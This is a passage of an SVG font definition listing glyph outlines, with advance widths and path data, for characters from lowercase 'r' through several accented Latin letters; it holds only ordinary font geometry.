<glyph unicode="r" horiz-adv-x="883" d="M168 0v1106h184l31 -195h12q55 99 143.5 157t190.5 58q71 0 117 -10l-23 -219q-50 12 -104 12q-141 0 -228.5 -92t-87.5 -239v-578h-235z" />
<glyph unicode="s" horiz-adv-x="997" d="M98 827q0 142 114.5 220.5t311.5 78.5q195 0 369 -79l-76 -177q-179 74 -301 74q-186 0 -186 -106q0 -52 48.5 -88t211.5 -99q137 -53 199 -97t92 -101.5t30 -137.5q0 -162 -118 -248.5t-338 -86.5q-221 0 -355 67v203q195 -90 363 -90q217 0 217 131q0 42 -24 70t-79 58 t-153 68q-191 74 -258.5 148t-67.5 192z" />
<glyph unicode="t" horiz-adv-x="805" d="M39 928v104l162 86l80 234h145v-246h315v-178h-315v-592q0 -85 42.5 -125.5t111.5 -40.5q86 0 172 27v-177q-39 -17 -100.5 -28.5t-127.5 -11.5q-334 0 -334 352v596h-151z" />
<glyph unicode="u" horiz-adv-x="1300" d="M158 383v723h237v-682q0 -127 52 -190.5t163 -63.5q148 0 217.5 88.5t69.5 296.5v551h236v-1106h-185l-33 145h-12q-49 -77 -139.5 -121t-206.5 -44q-201 0 -300 100t-99 303z" />
<glyph unicode="v" horiz-adv-x="1096" d="M0 1106h248l225 -643q58 -162 70 -262h8q9 72 70 262l225 643h250l-422 -1106h-254z" />
<glyph unicode="w" horiz-adv-x="1673" d="M20 1106h240l141 -545q48 -202 68 -346h6q10 73 30.5 167.5t35.5 141.5l168 582h258l163 -582q15 -49 37.5 -150t26.5 -157h8q15 123 70 344l143 545h236l-312 -1106h-264l-143 516q-26 82 -94 381h-9q-58 -270 -92 -383l-147 -514h-260z" />
<glyph unicode="x" horiz-adv-x="1128" d="M25 0l389 565l-371 541h268l252 -387l254 387h266l-372 -541l391 -565h-266l-273 414l-272 -414h-266z" />
<glyph unicode="y" horiz-adv-x="1098" d="M0 1106h256l225 -627q51 -134 68 -252h8q9 55 33 133.5t254 745.5h254l-473 -1253q-129 -345 -430 -345q-78 0 -152 17v186q53 -12 121 -12q170 0 239 197l41 104z" />
<glyph unicode="z" horiz-adv-x="979" d="M68 0v145l559 781h-525v180h789v-164l-547 -762h563v-180h-839z" />
<glyph unicode="{" horiz-adv-x="791" d="M45 473v191q135 0 200.5 45.5t65.5 138.5v311q0 156 108.5 229.5t325.5 73.5v-182q-114 -5 -165.5 -46.5t-51.5 -123.5v-297q0 -199 -229 -238v-12q229 -36 229 -237v-299q0 -82 51 -124t166 -44v-183q-231 2 -332.5 78.5t-101.5 247.5v285q0 186 -266 186z" />
<glyph unicode="|" horiz-adv-x="1128" d="M473 -481v2033h180v-2033h-180z" />
<glyph unicode="}" horiz-adv-x="760" d="M45 -141q95 1 148 38.5t53 129.5v262q0 121 53 187t176 87v12q-229 39 -229 238v297q0 82 -45.5 123.5t-155.5 46.5v182q223 0 320.5 -76.5t97.5 -250.5v-287q0 -100 63.5 -142t188.5 -42v-191q-123 0 -187.5 -42.5t-64.5 -143.5v-307q0 -156 -99.5 -229t-318.5 -75v183z " />
<glyph unicode="~" d="M96 571v191q99 108 250 108q66 0 125 -13t147 -50q131 -55 220 -55q52 0 114.5 31t120.5 89v-190q-105 -111 -250 -111q-65 0 -127.5 15.5t-146.5 50.5q-127 55 -219 55q-50 0 -111.5 -30t-122.5 -91z" />
<glyph unicode="&#xa1;" horiz-adv-x="565" d="M133 965q0 69 38 111t110 42t110.5 -40.5t38.5 -112.5q0 -74 -37.5 -113t-111.5 -39q-72 0 -110 39.5t-38 112.5zM141 -371l52 1016h174l51 -1016h-277z" />
<glyph unicode="&#xa2;" d="M166 741q0 254 100.5 397t306.5 175v170h158v-162q152 -5 283 -66l-70 -188q-146 59 -250 59q-146 0 -216 -95t-70 -288q0 -194 72 -283t210 -89q75 0 142.5 15t154.5 52v-200q-119 -59 -258 -64v-194h-156v200q-207 31 -307 171t-100 390z" />
<glyph unicode="&#xa3;" d="M72 0v195q98 30 145 96t47 178v184h-188v172h188v256q0 188 113.5 294t312.5 106q194 0 375 -82l-76 -182q-162 71 -284 71q-205 0 -205 -219v-244h397v-172h-397v-182q0 -91 -33 -155t-113 -109h756v-207h-1038z" />
<glyph unicode="&#xa4;" d="M117 1069l121 119l131 -129q100 63 215 63t213 -65l133 131l121 -117l-131 -133q63 -100 63 -215q0 -119 -63 -217l129 -129l-119 -119l-133 129q-99 -61 -213 -61q-126 0 -215 61l-131 -127l-119 119l131 129q-64 99 -64 215q0 109 64 213zM354 723q0 -98 68 -164.5 t162 -66.5q97 0 165 66.5t68 164.5q0 97 -68 165t-165 68q-93 0 -161.5 -68t-68.5 -165z" />
<glyph unicode="&#xa5;" d="M18 1462h246l320 -665l321 665h244l-399 -760h227v-151h-281v-154h281v-153h-281v-244h-225v244h-283v153h283v154h-283v151h224z" />
<glyph unicode="&#xa6;" horiz-adv-x="1128" d="M473 315h180v-796h-180v796zM473 758v794h180v-794h-180z" />
<glyph unicode="&#xa7;" horiz-adv-x="1026" d="M115 57v179q77 -40 173 -65.5t177 -25.5q235 0 235 131q0 43 -21 70t-71 54t-147 65q-141 55 -206 101.5t-95.5 105t-30.5 135.5q0 80 38.5 145.5t111.5 108.5q-146 83 -146 235q0 129 109.5 202t294.5 73q91 0 174 -17t182 -59l-68 -162q-116 50 -176 63t-121 13 q-194 0 -194 -109q0 -54 55 -93.5t191 -90.5q175 -68 250 -146.5t75 -187.5q0 -177 -139 -266q139 -80 139 -223q0 -142 -118 -224.5t-326 -82.5q-212 0 -346 71zM313 827q0 -45 24 -80t78.5 -69t194.5 -90q109 65 109 168q0 75 -62 126.5t-221 104.5q-54 -16 -88.5 -61.5 t-34.5 -98.5z" />
<glyph unicode="&#xa8;" horiz-adv-x="1212" d="M293 1399q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM686 1399q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xa9;" horiz-adv-x="1704" d="M100 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM223 731q0 -170 84.5 -315.5t230.5 -229.5t314 -84q170 0 316 85.5t229.5 230t83.5 313.5q0 168 -84.5 314.5 t-231 230.5t-313.5 84q-168 0 -312.5 -83t-230.5 -229t-86 -317zM471 731q0 214 110 337.5t306 123.5q138 0 274 -70l-65 -143q-106 55 -203 55q-111 0 -171 -80.5t-60 -222.5q0 -147 54 -226t177 -79q55 0 118 15t109 36v-158q-115 -51 -235 -51q-197 0 -305.5 120.5 t-108.5 342.5z" />
<glyph unicode="&#xaa;" horiz-adv-x="754" d="M57 981q0 104 84 159.5t252 61.5l107 4q0 72 -34.5 108t-103.5 36q-90 0 -210 -56l-54 115q144 70 285 70q138 0 207 -62.5t69 -187.5v-447h-112l-29 97q-46 -55 -105 -82t-130 -27q-113 0 -169.5 52.5t-56.5 158.5zM221 983q0 -88 96 -88q91 0 137 41t46 123v43l-99 -4 q-71 -2 -125.5 -34t-54.5 -81z" />
<glyph unicode="&#xab;" horiz-adv-x="1139" d="M82 535v26l356 432l168 -94l-282 -350l282 -348l-168 -97zM532 535v26l357 432l168 -94l-283 -350l283 -348l-168 -97z" />
<glyph unicode="&#xac;" d="M96 633v178h977v-555h-178v377h-799z" />
<glyph unicode="&#xad;" horiz-adv-x="659" d="M72 449v200h514v-200h-514z" />
<glyph unicode="&#xae;" horiz-adv-x="1704" d="M100 731q0 200 100 375t275 276t377 101q200 0 375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-207 0 -382 103.5t-272.5 276.5t-97.5 371zM223 731q0 -170 84.5 -315.5t230.5 -229.5t314 -84q170 0 316 85.5t229.5 230t83.5 313.5q0 168 -84.5 314.5 t-231 230.5t-313.5 84q-168 0 -312.5 -83t-230.5 -229t-86 -317zM559 279v903h262q174 0 255 -68t81 -205q0 -171 -153 -233l237 -397h-211l-192 346h-90v-346h-189zM748 770h69q74 0 112 35t38 100q0 72 -36.5 100.5t-115.5 28.5h-67v-264z" />
<glyph unicode="&#xaf;" horiz-adv-x="1024" d="M-6 1556v164h1036v-164h-1036z" />
<glyph unicode="&#xb0;" horiz-adv-x="877" d="M109 1153q0 135 95 232.5t234 97.5q138 0 233 -96t95 -234q0 -139 -96 -233.5t-232 -94.5q-88 0 -164.5 43.5t-120.5 119.5t-44 165zM262 1153q0 -70 51 -122t125 -52t125 51.5t51 122.5q0 76 -52 127t-124 51t-124 -52t-52 -126z" />
<glyph unicode="&#xb1;" d="M96 0v178h977v-178h-977zM96 664v178h398v407h180v-407h399v-178h-399v-406h-180v406h-398z" />
<glyph unicode="&#xb2;" horiz-adv-x="743" d="M51 586v135l230 225q117 112 149.5 165t32.5 112q0 52 -32 79t-83 27q-93 0 -201 -88l-94 121q139 119 309 119q136 0 211.5 -66t75.5 -180q0 -83 -46 -158.5t-183 -202.5l-139 -129h397v-159h-627z" />
<glyph unicode="&#xb3;" horiz-adv-x="743" d="M45 631v157q145 -79 270 -79q179 0 179 135q0 125 -199 125h-115v133h105q184 0 184 129q0 52 -34.5 80t-90.5 28q-57 0 -105.5 -20t-105.5 -57l-84 114q61 46 134 75.5t171 29.5q134 0 212.5 -61.5t78.5 -168.5q0 -75 -40.5 -122.5t-119.5 -86.5q94 -21 141.5 -76 t47.5 -132q0 -127 -93 -196t-266 -69q-148 0 -270 62z" />
<glyph unicode="&#xb4;" horiz-adv-x="1212" d="M362 1241v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xb5;" horiz-adv-x="1309" d="M168 -492v1598h235v-684q0 -252 218 -252q146 0 215 88.5t69 296.5v551h236v-1106h-183l-34 147h-13q-48 -83 -119.5 -125t-175.5 -42q-140 0 -219 90h-4q3 -28 6.5 -117t3.5 -125v-320h-235z" />
<glyph unicode="&#xb6;" horiz-adv-x="1341" d="M113 1042q0 260 109 387t341 127h580v-1816h-137v1663h-191v-1663h-137v819q-62 -18 -146 -18q-216 0 -317.5 125t-101.5 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="563" d="M133 723q0 73 38 112t110 39q73 0 111 -40.5t38 -110.5q0 -71 -38.5 -112.5t-110.5 -41.5t-110 41t-38 113z" />
<glyph unicode="&#xb8;" horiz-adv-x="442" d="M0 -340q54 -14 123 -14q54 0 85.5 16.5t31.5 61.5q0 85 -179 110l84 166h152l-41 -88q80 -21 125 -68.5t45 -113.5q0 -222 -305 -222q-66 0 -121 15v137z" />
<glyph unicode="&#xb9;" horiz-adv-x="743" d="M84 1253l281 209h167v-876h-186v512l3 103l5 91q-17 -18 -40.5 -40t-141.5 -111z" />
<glyph unicode="&#xba;" horiz-adv-x="780" d="M61 1124q0 169 88.5 262t241.5 93q152 0 240 -94.5t88 -260.5q0 -164 -87.5 -259t-244.5 -95q-150 0 -238 95.5t-88 258.5zM223 1124q0 -111 39 -166t127 -55t127 55t39 166q0 113 -39 167.5t-127 54.5t-127 -54.5t-39 -167.5z" />
<glyph unicode="&#xbb;" horiz-adv-x="1139" d="M80 201l282 348l-282 350l168 94l358 -432v-26l-358 -431zM530 201l283 348l-283 350l168 94l359 -432v-26l-359 -431z" />
<glyph unicode="&#xbc;" horiz-adv-x="1700" d="M285 0l858 1462h190l-856 -1462h-192zM60 1253l281 209h167v-876h-186v512l3 103l5 91q-17 -18 -40.5 -40t-141.5 -111zM876 177v127l396 579h188v-563h125v-143h-125v-176h-192v176h-392zM1038 320h230v178q0 97 6 197q-52 -104 -88 -158z" />
<glyph unicode="&#xbd;" horiz-adv-x="1700" d="M250 0l858 1462h190l-856 -1462h-192zM46 1253l281 209h167v-876h-186v512l3 103l5 91q-17 -18 -40.5 -40t-141.5 -111zM981 1v135l230 225q117 112 149.5 165t32.5 112q0 52 -32 79t-83 27q-93 0 -201 -88l-94 121q139 119 309 119q136 0 211.5 -66t75.5 -180 q0 -83 -46 -158.5t-183 -202.5l-139 -129h397v-159h-627z" />
<glyph unicode="&#xbe;" horiz-adv-x="1700" d="M367 0l858 1462h190l-856 -1462h-192zM931 177v127l396 579h188v-563h125v-143h-125v-176h-192v176h-392zM1093 320h230v178q0 97 6 197q-52 -104 -88 -158zM55 631v157q145 -79 270 -79q179 0 179 135q0 125 -199 125h-115v133h105q184 0 184 129q0 52 -34.5 80 t-90.5 28q-57 0 -105.5 -20t-105.5 -57l-84 114q61 46 134 75.5t171 29.5q134 0 212.5 -61.5t78.5 -168.5q0 -75 -40.5 -122.5t-119.5 -86.5q94 -21 141.5 -76t47.5 -132q0 -127 -93 -196t-266 -69q-148 0 -270 62z" />
<glyph unicode="&#xbf;" horiz-adv-x="928" d="M55 -33q0 73 21 130t64 109t157 142q94 76 125 124.5t31 127.5v45h198v-63q0 -106 -41 -181t-143 -155q-124 -98 -155 -147t-31 -124q0 -78 54 -125t161 -47q90 0 174 27.5t166 65.5l82 -179q-220 -110 -424 -110q-207 0 -323 95.5t-116 264.5zM395 965q0 69 38 111 t110 42t110.5 -40.5t38.5 -112.5q0 -74 -37.5 -113t-111.5 -39q-72 0 -110 39.5t-38 112.5z" />
<glyph unicode="&#xc0;" horiz-adv-x="1354" d="M0 0l547 1468h260l547 -1468h-254l-146 406h-559l-143 -406h-252zM465 612h426l-137 398q-15 40 -41.5 126t-36.5 126q-27 -123 -79 -269zM334 1886v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xc1;" horiz-adv-x="1354" d="M0 0l547 1468h260l547 -1468h-254l-146 406h-559l-143 -406h-252zM465 612h426l-137 398q-15 40 -41.5 126t-36.5 126q-27 -123 -79 -269zM532 1579v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xc2;" horiz-adv-x="1354" d="M0 0l547 1468h260l547 -1468h-254l-146 406h-559l-143 -406h-252zM465 612h426l-137 398q-15 40 -41.5 126t-36.5 126q-27 -123 -79 -269zM286 1579v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xc3;" horiz-adv-x="1354" d="M0 0l547 1468h260l547 -1468h-254l-146 406h-559l-143 -406h-252zM465 612h426l-137 398q-15 40 -41.5 126t-36.5 126q-27 -123 -79 -269zM281 1577q12 139 77.5 212t167.5 73q43 0 84 -17.5t80 -39t75.5 -39t70.5 -17.5q79 0 106 115h125q-12 -134 -77 -209.5 t-169 -75.5q-42 0 -82.5 17.5t-79.5 39t-76 39t-71 17.5q-81 0 -109 -115h-122z" />
<glyph unicode="&#xc4;" horiz-adv-x="1354" d="M0 0l547 1468h260l547 -1468h-254l-146 406h-559l-143 -406h-252zM465 612h426l-137 398q-15 40 -41.5 126t-36.5 126q-27 -123 -79 -269zM363 1737q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM756 1737 q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xc5;" horiz-adv-x="1354" d="M0 0l547 1468h260l547 -1468h-254l-146 406h-559l-143 -406h-252zM465 612h426l-137 398q-15 40 -41.5 126t-36.5 126q-27 -123 -79 -269zM438 1575q0 101 63.5 163.5t172.5 62.5q104 0 171.5 -62t67.5 -162q0 -102 -65.5 -165.5t-173.5 -63.5t-172 62.5t-64 164.5z M567 1575q0 -106 107 -106q46 0 76 27.5t30 78.5q0 50 -30 78.5t-76 28.5q-47 0 -77 -28.5t-30 -78.5z" />
<glyph unicode="&#xc6;" horiz-adv-x="1868" d="M-2 0l678 1462h1071v-202h-571v-398h532v-200h-532v-459h571v-203h-811v406h-504l-188 -406h-246zM522 612h414v641h-123z" />
<glyph unicode="&#xc7;" horiz-adv-x="1298" d="M121 731q0 228 83.5 399t241.5 262t371 91q224 0 414 -94l-86 -199q-74 35 -156.5 61.5t-173.5 26.5q-206 0 -324 -146t-118 -403q0 -269 113.5 -407t328.5 -138q93 0 180 18.5t181 47.5v-205q-172 -65 -390 -65q-321 0 -493 194.5t-172 556.5zM526 -340q54 -14 123 -14 q54 0 85.5 16.5t31.5 61.5q0 85 -179 110l84 166h152l-41 -88q80 -21 125 -68.5t45 -113.5q0 -222 -305 -222q-66 0 -121 15v137z" />
<glyph unicode="&#xc8;" horiz-adv-x="1143" d="M193 0v1462h827v-202h-588v-398h551v-200h-551v-459h588v-203h-827zM289 1886v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xc9;" horiz-adv-x="1143" d="M193 0v1462h827v-202h-588v-398h551v-200h-551v-459h588v-203h-827zM440 1579v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xca;" horiz-adv-x="1143" d="M193 0v1462h827v-202h-588v-398h551v-200h-551v-459h588v-203h-827zM220 1579v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xcb;" horiz-adv-x="1143" d="M193 0v1462h827v-202h-588v-398h551v-200h-551v-459h588v-203h-827zM297 1737q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM690 1737q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5 q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xcc;" horiz-adv-x="625" d="M193 0v1462h239v-1462h-239zM-6 1886v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xcd;" horiz-adv-x="625" d="M193 0v1462h239v-1462h-239zM179 1579v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xce;" horiz-adv-x="625" d="M193 0v1462h239v-1462h-239zM-75 1579v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xcf;" horiz-adv-x="625" d="M193 0v1462h239v-1462h-239zM1 1737q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM394 1737q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xd0;" horiz-adv-x="1497" d="M47 623v200h146v639h446q347 0 541 -188.5t194 -528.5q0 -360 -201 -552.5t-579 -192.5h-401v623h-146zM432 201h160q530 0 530 536q0 260 -124.5 392.5t-368.5 132.5h-197v-439h307v-200h-307v-422z" />
<glyph unicode="&#xd1;" horiz-adv-x="1604" d="M193 0v1462h290l717 -1159h6q-2 23 -8 167.5t-6 225.5v766h219v-1462h-293l-719 1165h-8l5 -65q14 -186 14 -340v-760h-217zM414 1577q12 139 77.5 212t167.5 73q43 0 84 -17.5t80 -39t75.5 -39t70.5 -17.5q79 0 106 115h125q-12 -134 -77 -209.5t-169 -75.5 q-42 0 -82.5 17.5t-79.5 39t-76 39t-71 17.5q-81 0 -109 -115h-122z" />
<glyph unicode="&#xd2;" horiz-adv-x="1612" d="M121 735q0 362 178.5 556t509.5 194q326 0 504 -197t178 -555q0 -357 -178.5 -555t-505.5 -198q-331 0 -508.5 196.5t-177.5 558.5zM375 733q0 -270 109 -409.5t323 -139.5q213 0 321.5 138t108.5 411q0 269 -107.5 408t-320.5 139q-215 0 -324.5 -139t-109.5 -408z M481 1886v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xd3;" horiz-adv-x="1612" d="M121 735q0 362 178.5 556t509.5 194q326 0 504 -197t178 -555q0 -357 -178.5 -555t-505.5 -198q-331 0 -508.5 196.5t-177.5 558.5zM375 733q0 -270 109 -409.5t323 -139.5q213 0 321.5 138t108.5 411q0 269 -107.5 408t-320.5 139q-215 0 -324.5 -139t-109.5 -408z M657 1579v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xd4;" horiz-adv-x="1612" d="M121 735q0 362 178.5 556t509.5 194q326 0 504 -197t178 -555q0 -357 -178.5 -555t-505.5 -198q-331 0 -508.5 196.5t-177.5 558.5zM375 733q0 -270 109 -409.5t323 -139.5q213 0 321.5 138t108.5 411q0 269 -107.5 408t-320.5 139q-215 0 -324.5 -139t-109.5 -408z M413 1579v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xd5;" horiz-adv-x="1612" d="M121 735q0 362 178.5 556t509.5 194q326 0 504 -197t178 -555q0 -357 -178.5 -555t-505.5 -198q-331 0 -508.5 196.5t-177.5 558.5zM375 733q0 -270 109 -409.5t323 -139.5q213 0 321.5 138t108.5 411q0 269 -107.5 408t-320.5 139q-215 0 -324.5 -139t-109.5 -408z M410 1577q12 139 77.5 212t167.5 73q43 0 84 -17.5t80 -39t75.5 -39t70.5 -17.5q79 0 106 115h125q-12 -134 -77 -209.5t-169 -75.5q-42 0 -82.5 17.5t-79.5 39t-76 39t-71 17.5q-81 0 -109 -115h-122z" />
<glyph unicode="&#xd6;" horiz-adv-x="1612" d="M121 735q0 362 178.5 556t509.5 194q326 0 504 -197t178 -555q0 -357 -178.5 -555t-505.5 -198q-331 0 -508.5 196.5t-177.5 558.5zM375 733q0 -270 109 -409.5t323 -139.5q213 0 321.5 138t108.5 411q0 269 -107.5 408t-320.5 139q-215 0 -324.5 -139t-109.5 -408z M496 1737q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM889 1737q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xd7;" d="M131 1049l125 127l328 -326l329 326l125 -123l-329 -330l325 -328l-123 -125l-329 326l-324 -326l-125 125l324 328z" />
<glyph unicode="&#xd8;" horiz-adv-x="1612" d="M121 735q0 362 178.5 556t509.5 194q199 0 354 -82l90 129l142 -92l-99 -140q195 -199 195 -567q0 -357 -178.5 -555t-505.5 -198q-213 0 -361 81l-94 -137l-141 94l98 144q-188 196 -188 573zM375 733q0 -231 78 -362l587 850q-92 59 -231 59q-215 0 -324.5 -139 t-109.5 -408zM571 244q97 -60 236 -60q213 0 321.5 138t108.5 411q0 225 -80 361z" />
<glyph unicode="&#xd9;" horiz-adv-x="1520" d="M180 520v942h240v-925q0 -181 84 -267t258 -86q338 0 338 355v923h239v-946q0 -162 -69.5 -283.5t-201 -187t-314.5 -65.5q-272 0 -423 144t-151 396zM417 1886v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xda;" horiz-adv-x="1520" d="M180 520v942h240v-925q0 -181 84 -267t258 -86q338 0 338 355v923h239v-946q0 -162 -69.5 -283.5t-201 -187t-314.5 -65.5q-272 0 -423 144t-151 396zM600 1579v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xdb;" horiz-adv-x="1520" d="M180 520v942h240v-925q0 -181 84 -267t258 -86q338 0 338 355v923h239v-946q0 -162 -69.5 -283.5t-201 -187t-314.5 -65.5q-272 0 -423 144t-151 396zM366 1579v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xdc;" horiz-adv-x="1520" d="M180 520v942h240v-925q0 -181 84 -267t258 -86q338 0 338 355v923h239v-946q0 -162 -69.5 -283.5t-201 -187t-314.5 -65.5q-272 0 -423 144t-151 396zM445 1737q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88z M838 1737q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xdd;" horiz-adv-x="1212" d="M0 1462h260l346 -667l346 667h260l-487 -895v-567h-240v559zM450 1579v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xde;" horiz-adv-x="1268" d="M193 0v1462h239v-243h197q268 0 404 -112t136 -331q0 -227 -146 -349t-423 -122h-168v-305h-239zM432 504h133q187 0 273 63t86 203q0 127 -78 188.5t-250 61.5h-164v-516z" />
<glyph unicode="&#xdf;" horiz-adv-x="1364" d="M168 0v1169q0 193 128.5 295.5t367.5 102.5q225 0 355 -84t130 -230q0 -74 -38.5 -140.5t-104.5 -117.5q-90 -69 -117 -98t-27 -57q0 -30 22.5 -55.5t79.5 -63.5l95 -64q92 -62 135.5 -109.5t65.5 -103.5t22 -127q0 -165 -107 -251t-311 -86q-190 0 -299 65v199 q58 -37 139 -61.5t148 -24.5q192 0 192 151q0 61 -34.5 105t-155.5 118q-119 73 -171 135t-52 146q0 63 34 115.5t105 105.5q75 55 107 97.5t32 93.5q0 72 -67 112.5t-178 40.5q-127 0 -194 -54t-67 -159v-1165h-235z" />
<glyph unicode="&#xe0;" horiz-adv-x="1188" d="M90 317q0 171 127 258t387 95l191 6v59q0 106 -49.5 158.5t-153.5 52.5q-85 0 -163 -25t-150 -59l-76 168q90 47 197 71.5t202 24.5q211 0 318.5 -92t107.5 -289v-745h-168l-47 154h-8q-80 -101 -161 -137.5t-208 -36.5q-163 0 -254.5 88t-91.5 249zM334 315 q0 -74 44 -114.5t132 -40.5q128 0 205.5 71.5t77.5 200.5v96l-142 -6q-166 -6 -241.5 -55.5t-75.5 -151.5zM259 1548v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xe1;" horiz-adv-x="1188" d="M90 317q0 171 127 258t387 95l191 6v59q0 106 -49.5 158.5t-153.5 52.5q-85 0 -163 -25t-150 -59l-76 168q90 47 197 71.5t202 24.5q211 0 318.5 -92t107.5 -289v-745h-168l-47 154h-8q-80 -101 -161 -137.5t-208 -36.5q-163 0 -254.5 88t-91.5 249zM334 315 q0 -74 44 -114.5t132 -40.5q128 0 205.5 71.5t77.5 200.5v96l-142 -6q-166 -6 -241.5 -55.5t-75.5 -151.5zM438 1241v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xe2;" horiz-adv-x="1188" d="M90 317q0 171 127 258t387 95l191 6v59q0 106 -49.5 158.5t-153.5 52.5q-85 0 -163 -25t-150 -59l-76 168q90 47 197 71.5t202 24.5q211 0 318.5 -92t107.5 -289v-745h-168l-47 154h-8q-80 -101 -161 -137.5t-208 -36.5q-163 0 -254.5 88t-91.5 249zM334 315 q0 -74 44 -114.5t132 -40.5q128 0 205.5 71.5t77.5 200.5v96l-142 -6q-166 -6 -241.5 -55.5t-75.5 -151.5zM203 1241v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xe3;" horiz-adv-x="1188" d="M90 317q0 171 127 258t387 95l191 6v59q0 106 -49.5 158.5t-153.5 52.5q-85 0 -163 -25t-150 -59l-76 168q90 47 197 71.5t202 24.5q211 0 318.5 -92t107.5 -289v-745h-168l-47 154h-8q-80 -101 -161 -137.5t-208 -36.5q-163 0 -254.5 88t-91.5 249zM334 315 q0 -74 44 -114.5t132 -40.5q128 0 205.5 71.5t77.5 200.5v96l-142 -6q-166 -6 -241.5 -55.5t-75.5 -151.5zM208 1239q12 139 77.5 212t167.5 73q43 0 84 -17.5t80 -39t75.5 -39t70.5 -17.5q79 0 106 115h125q-12 -134 -77 -209.5t-169 -75.5q-42 0 -82.5 17.5t-79.5 39 t-76 39t-71 17.5q-81 0 -109 -115h-122z" />
<glyph unicode="&#xe4;" horiz-adv-x="1188" d="M90 317q0 171 127 258t387 95l191 6v59q0 106 -49.5 158.5t-153.5 52.5q-85 0 -163 -25t-150 -59l-76 168q90 47 197 71.5t202 24.5q211 0 318.5 -92t107.5 -289v-745h-168l-47 154h-8q-80 -101 -161 -137.5t-208 -36.5q-163 0 -254.5 88t-91.5 249zM334 315 q0 -74 44 -114.5t132 -40.5q128 0 205.5 71.5t77.5 200.5v96l-142 -6q-166 -6 -241.5 -55.5t-75.5 -151.5zM282 1399q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM675 1399q0 62 33.5 89.5t81.5 27.5q53 0 85 -31 t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
